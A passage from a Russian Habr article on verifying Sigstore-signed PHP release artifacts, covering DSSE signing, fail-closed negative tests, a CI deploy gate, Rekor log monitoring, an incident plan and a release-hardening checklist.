Два следствия. Во-первых, всё это лежит в bundle целиком — проверка inclusion proof не требует похода в Rekor, поэтому и возможен полный оффлайн. Во-вторых, запись математически нельзя «вынуть» задним числом, не сломав корень: отсюда и «неизменяемый журнал» из первой половины — подпись от имени вашего workflow физически не спрятать.
Заодно про то, что подписано в DSSE: подписывается не голый payload, а его PAE (pre-authentication encoding) — строка вида DSSEv1 SP len(type) SP type SP len(body) SP body. Явные длины и тип в подписи убирают целый класс атак на неоднозначность границ полей.
И ещё одно опасение снимем сразу: «самописная криптография на PHP?» — нет. Примитивы не свои: ECDSA/RSA — ext-openssl и phpseclib, Ed25519 — ext-sodium. Своя только протокольная логика (разбор бандла, цепочка проверок) — ровно то, что покрыто conformance.
Fail-closed: проверяем, что проверка проверяет
Верификатор, который зелёный всегда, хуже его отсутствия — он создаёт ложную уверенность. Поэтому к demo приложен negative.php: две атаки против настоящего бандла. Портим артефакт на байт и подставляем чужой репозиторий в identity:
$ php negative.phpOK: tampered artifact rejected — Attestation subject does not include the expected sha256 digest "c78b374858d64db6c229d302f86f0052afad45b905a4a79ba91657404f5eb057".OK: wrong identity rejected — Certificate identity does not include the expected SAN "https://github.com/evil/dsse/.github/workflows/attest.yml@refs/tags/1.1.1".fail-closed works
Та же философия — на неподдержанное: экзотический алгоритм или незнакомый формат бандла даёт UnsupportedBundleException, а не тихий «verified».
Встраиваем в CI/CD: гейт, мониторинг, реагирование
Подпись и проверка — половина дела. Вторая — встроить их в процессы.
Гейт в деплое. Самый честный сценарий ценности (помните честную рамку выше — для библиотек через composer install подпись канал не закрывает): вы деплоите файловый артефакт — PHAR, tarball релиза, образ — и хотите проверить его перед выкаткой. Шаг в пайплайне потребителя:
- name: Verify release before deploy env: GH_TOKEN: ${{ github.token }} run: | gh release download "$VERSION" --repo acme/app --pattern '*.tar.gz' --pattern '*.sigstore.jsonl' vendor/bin/sigstore-verify "app-${VERSION}.tar.gz" "app-${VERSION}.tar.gz.sigstore.jsonl" \ --repository acme/app --workflow attest.yml --ref "refs/tags/${VERSION}" \ --trusted-root trusted_root.json
Семантика отказа важна: при SigstoreException гейт останавливает деплой и поднимает алерт, а не пишет warning в лог. Не верифицируется — не выкатываем.
Мониторинг журнала. Прозрачность Rekor — это бесплатная сигнализация (мы разобрали её устройство выше). Если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно. Следить за этим можно готовым rekor-monitor — у меня это weekly-workflow, который ищет в журнале сертификаты, выписанные на любую мою attest.yml identity, и заводит issue на расхождении:
name: Attestation watchon: schedule: - cron: '23 6 * * 1' # weekly workflow_dispatch:permissions: read-alljobs: rekor-identity-monitor: permissions: contents: read issues: write id-token: write uses: sigstore/rekor-monitor/.github/workflows/reusable_monitoring.yml@<pin-sha> # main with: file_issue: true artifact_retention_days: 14 config: | monitoredValues: certIdentities: - certSubject: https://github\.com/acme/[^/]+/\.github/workflows/attest\.yml@.+ issuers: - https://token\.actions\.githubusercontent\.com
План на инцидент. Если подпись, которой вы не делали, всё-таки появилась (угнали аккаунт, утёк токен): отозвать креды и PAT, ротировать всё; снять вредоносную версию с Packagist и удалить тег/релиз; выпустить advisory (GitHub Security Advisory) и фикс-релиз; провести пост-мортем — и вот тут провенанс окупается: gitCommit из аттестаций даёт криптографически доказанный ответ, какой именно коммит и какая джоба породили каждый артефакт.
Чек-лист и когда вам это (не) нужно
Минимум, который превращает «у нас есть подпись» в «у нас защищённый релиз»:
-
mainпод branch protection: PR + ревью, без force-push (соло-мейнтейнеру — как минимум PR + запрет force-push, гейтом служит CI; обязательное ревью — там, где есть второй мейнтейнер); -
2FA у всех с правами на репозиторий и Packagist;
-
tag protection / ruleset: создавать релизные теги может только мейнтейнер (триггер подписи = право чеканить релизы);
-
сторонние экшены запинены по SHA;
-
permissionsминимальны, право подписи/записи — точечно по джобам; -
вечные секреты заменены на OIDC;
-
attest.ymlна релизных тегах, подписанные байты — в Release; -
у потребителя — гейт верификации перед деплоем;
-
мониторинг Rekor включён.
И честная таблица — кому это сколько даёт сегодня:
|
Ваш случай |
Нужно ли |
|---|---|
|
Мейнтейнер публичной библиотеки |
Подписывайте. Минимальная подпись — ~38 строк, бесплатно. Канал |
|
Деплой PHAR/tarball/образов файлами |
Обязательно верифицируйте — здесь подпись закрывает доставку целиком |
|
Зависимости только через |
Ценность пока ограничена (см. рамку про zipball); подписывайте свои релизы на будущее |
|
Внутренний код без внешних артефактов |
Сегодня вам это не нужно — честно |
Стек
Все пакеты — PHP ≥ 8.1, PHPStan level 9, MIT, без обязательных расширений (openssl/sodium подхватываются, если есть):
|
Пакет |
Что делает |
|---|---|
|
оффлайн-верификатор Sigstore-бандлов + CLI: DSSE и message-подписи, Rekor v1/v2, RFC 3161, SCT, ключевые и keyless бандлы |
|
|
модели SLSA Provenance v1 и v0.2 |
|
|
in-toto Statement v1 и v0.1 |
|
|
DSSE-конверт: PAE, sign/verify (ECDSA P-256, Ed25519, raw и DER) |
|
|
минимальный fail-closed TUF-клиент (spec 1.0) для корня доверия |
Всё из статьи — clone-and-run в companion-репозитории k2gl/sigstore-php-demo: composer install и сразу проверяете настоящий подписанный релиз, в том числе полностью оффлайн.
Куда дальше
-
Добавьте
attest.yml(выше) в свой репозиторий и пройдите чек-лист. -
Пушните релизный тег — подпись и Release с артефактами появятся сами.
-
Проверьте результат:
gh attestation verify, CLI или код из статьи.
Повторю границу применимости, потому что это важнее любого энтузиазма: composer require тянет zipball, который GitHub генерирует из тега на лету, — подписать «то, что скачает composer», нечего. Подпись артефакта работает там, где артефакт — фиксированный файл (PHAR, релизы, образы, внутренние реестры), и как доказательство происхождения. Если Composer-экосистема дозреет до нативных аттестаций (как сделали npm и PyPI) — проверочная сторона на PHP уже готова.
Issues и фичреквесты — в k2gl/sigstore-verify. Особенно ценны реальные бандлы, которые верификатор отверг: fail-closed — это контракт, и каждый такой случай либо дыра в спецификации, либо мой будущий релиз. Несите. Замечания и несогласие в комментариях приветствуются — особенно по модели угроз.
ссылка на оригинал статьи https://habr.com/ru/articles/1048056/